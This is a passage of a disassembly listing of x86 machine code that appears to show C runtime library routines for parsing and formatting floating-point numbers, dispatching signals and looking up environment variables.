sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: .packed:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43CBC8 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43CBC8 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43CBC8 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43CBC4, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C9B8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43CBC8 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43CBC4, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C9B8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o cmp dword_43CBC4, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C9B8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: .packed:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43CBC4, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C9B8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43CBC4, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C9B8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DBC3C mov eax, offset dword_4DBC3C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DBC38 mov eax, offset dword_4DBC38 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DBC40 mov eax, offset dword_4DBC40 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DBC34 mov eax, offset dword_4DBC34 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DBA10 and dword_4DBA10, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43D00C mov dword_43D00C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43D000 mov ecx, dword_43D004 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43CF90h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43D00C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DBA10, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43D00C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D008 cmp dword_43CF8C, edx push esi mov eax, offset dword_43CF88 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43CF88h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43CF88h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DCFD0, 0 push ebx push esi mov esi, dword_4DB960 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB968, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB960 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DCD80 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCC80[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB938, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB938, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 